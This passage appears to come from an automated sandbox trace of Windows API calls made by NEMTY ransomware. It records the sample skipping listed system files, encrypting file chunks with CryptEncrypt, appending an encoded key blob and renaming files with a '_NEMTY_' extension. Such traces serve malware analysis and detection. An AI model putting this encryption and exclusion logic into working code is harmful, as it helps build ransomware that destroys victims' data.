out: hHeap=0x4f90000) returned 1 [0057.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0057.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0057.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0057.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0057.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0057.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0057.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0057.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0057.097] Sleep (dwMilliseconds=0x5) [0057.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5afce90, dwHighDateTime=0x1d561e7)) [0057.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5afce90, dwHighDateTime=0x1d561e7)) [0057.109] GetLastError () returned 0x5 [0057.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0057.110] GetLastError () returned 0x5 [0057.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0057.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0057.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0057.110] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0057.110] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0057.110] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0057.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0057.110] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="55DJh0MTtpqXWB+B7XnQXco3jDXbv+SA1Qx8flGLY3AzJ0lTA/HFE8HZe5f+0fiL\r\n3GsoKMPMk92Na3kqcaKXd5WL7UbcPQTOHEq8BO0Hrh5F1Y36IPt2mIDpiXodP6GC\r\nCIQ6+BWEvMX7F+reJ/LEbjVeR/tlXNV5YMu1dTvLU8yvpu3HtoQr6dQVuzFWjfVm\r\ntddV48NclWK13tXYioZ9eFoCzXofEzuQd3xLuaiHInIfVdJVpkeQFycFRPaAJVYN\r\nhrQikJ1jTQ/UFN++Gvpxm0EI9ONG2bUapfnisRQDIPQtPhuv5j4D+goCUqTCJLTD\r\ncKvECkp7J4AilL5JuEXBRQ==\r\n", pcchString=0x653e91c) returned 1 [0057.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0057.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0057.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0057.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0057.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0057.110] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.110] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0057.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0057.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.148] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.157] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.157] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.195] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.205] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.205] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0057.226] CloseHandle (hObject=0xffffffff) returned 0 [0057.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0057.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0057.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0057.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0057.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0057.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0057.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0057.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0057.227] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png._nemty_kgobjgd_")) returned 0 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0057.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.227] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2=".") returned 1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="..") returned 1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="...") returned 1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="windows") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="$RECYCLE.BIN") returned 1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="rsa") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="NTDETECT.COM") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntldr") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="MSDOS.SYS") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="IO.SYS") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="boot.ini") returned 1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="boot.ini") returned 1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="ntuser.dat") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="desktop.ini") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="CONFIG.SYS") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="RECYCLER") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="BOOTSECT.BAK") returned 1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="bootmgr") returned 1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="programdata") returned -1 [0057.228] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="appdata") returned 1 [0057.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0057.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0057.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0057.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0057.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0057.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0057.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0057.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0057.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0057.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0057.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-previous-static.png", lpUsedDefaultChar=0x0) returned 23 [0057.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0057.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0057.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0057.229] Sleep (dwMilliseconds=0x5) [0057.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5c79c50, dwHighDateTime=0x1d561e7)) [0057.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | 